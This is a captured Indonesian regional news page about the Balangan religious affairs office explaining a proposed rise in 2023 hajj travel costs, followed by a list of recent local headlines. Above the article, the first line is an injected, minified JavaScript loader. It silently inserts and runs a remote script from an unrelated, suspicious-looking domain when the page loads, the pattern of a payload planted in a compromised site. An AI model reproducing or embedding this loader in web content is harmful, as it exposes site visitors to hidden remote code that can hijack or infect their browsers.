(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
ADV BALANGAN

Kemenag Balangan Sebut Kenaikan Biaya, Haji Subsidi Biaya Berkeadilan


KANALKALIMANTAN.COM, BALANGAN – Kantor Kementerian Agama (Kankemenag) Kabupaten Balangan nyatakan usulan naiknya Biaya Perjalanan Ibadah Haji (Bipih) Jamaah Haji Indonesia Tahun 1444 H/2023 M timbul dengan berbagai pertimbangan.

Plt Kepala Seksi (Kasi) Penyelenggara Haji dan Umrah (PHU) Kankemenag, Kabupaten Balangan Rahmadi mengatakan, untuk menjamin keadilan penggunaan nilai manfaat pengelolaan dana haji yang dilakukan Badan Pengelola Keuangan Haji (BPKH).

“Bahasa simpelnya, nilai manfaat itu seperti subsidi. Harapan kita subsidi ini tidak hanya dinikmati oleh jamaah yang berangkat tahun ini, namun juga jamaah haji yang berangkat di tahun-tahun mendatang.”kata Rahmadi, Selasa (24/01/2023).

Menurutnya, dengan munculnya kebijakan pengurangan jumlah nilai manfaat tahun ini dibanding tahun sebelumnya, maka Bipih yang dikenakan kepada jamaah lebih banyak.

 

Baca juga: Pamit Bermain, Dua Bocah Perempuan Ditemukan Terbujur Kaku di Sungai Belitung

Rahmadi menjelaskan, bahwa pemanfaatan dana nilai manfaat sejak 2010 sampai dengan 2022 terus mengalami peningkatan. Pada 2010, nilai manfaat dari hasil pengelolaan dana setoran awal yang diberikan ke jemaah hanya Rp4,45 juta. Sementara Bipih yang harus dibayar jamaah sebesar Rp30,05 juta.

“Awalnya komposisi nilai manfaat hanya 13%, sementara Bipih 87%,” tambahnya.

Dalam perkembangan selanjutnya, komposisi nilai manfaat terus membesar menjadi 19% (2011 dan 2012), 25% (2013), 32% (2014), 39% (2015), 42% (2016), 44% (2017), 49% (2018 dan 2019). Karena Arab Saudi menaikkan layanan biaya Masyair secara signifikan jelang dimulainya operasional haji 2022 penggunaan dan nilai manfaat naik hingga 59%.

“Kondisi ini sudah tidak normal dan harus disikapi dengan bijak. Sedangkan nilai manfaat adalah hak seluruh jemaah haji Indonesia, termasuk lebih dari 5 juta yang masih menunggu antrean berangkat. Mulai sekarang dan seterusnya, nilai manfaat harus digunakan secara berkeadilan guna menjaga keberlanjutan,” tegasnya.

Menurut Rahamdi apabila komposisi Bipih (41%) dan NM (59%) dipertahankan, diperkirakan nilai manfaat cepat habis. Padahal jamaah yang menunggu 5-10 tahun akan datang juga berhak atas nilai manfaat.

“Walau usulan ini tidak populer, kita tentu berharap yang terbaik bagi semua. Sekarang ini masih dalam bentuk usulan yang akan dibahas lebih lanjut. Kita tunggu saja, semoga menghasilkan keputusan yang ideal bagi semua,” pungkasnya.(Kanalkalimantan.com/MC Balangan)

Reporter : KK
Editor : KK


Risa

Recent Posts

Pemkab Kapuas Tetapkan Tiga Lokasi Pasar Ramadan, Ini Lokasinya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menetapkan tiga lokasi pelaksanaan Pasar Ramadan 1447 Hijriah… Read More

6 jam ago

Bagian Umum Pengadaan Dua Kamera Mirrorless, Wali Kota Banjarmasin Tak Tahu

KANALKALIMANTAN.COM, BANJARMASIN – Pengadaan kamera mirrorless dua unit seharga Rp132.690.000 oleh Pemerintah Kota (Pemko) Banjarmasin… Read More

6 jam ago

Mahasiswa Banjarmasin Suarakan Keresahan Masyarakat di Balai Kota

Minta Pemko Banjarmasin Aktifkan Kembali 64 Ribu BPJS Warga Read More

9 jam ago

Kasus Pencabutan SHM Transmigran Sepihak di Kotabaru, Kementrans Kirim Tim Investigasi

KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More

15 jam ago

Tempat Hiburan di Banjarbaru Wajib Tutup Selama Ramadan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru mengeluarkan surat edaran tentang pelaksanaan kegiatan masyarakat pada bulan… Read More

16 jam ago

Waspada Hujan Disertai Petir dan Gelombang Tinggi di Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Cuaca di Kalimantan Selatan (Kalsel) dalam sepekan ke depan diprakirakan masih didominasi… Read More

18 jam ago

This website uses cookies.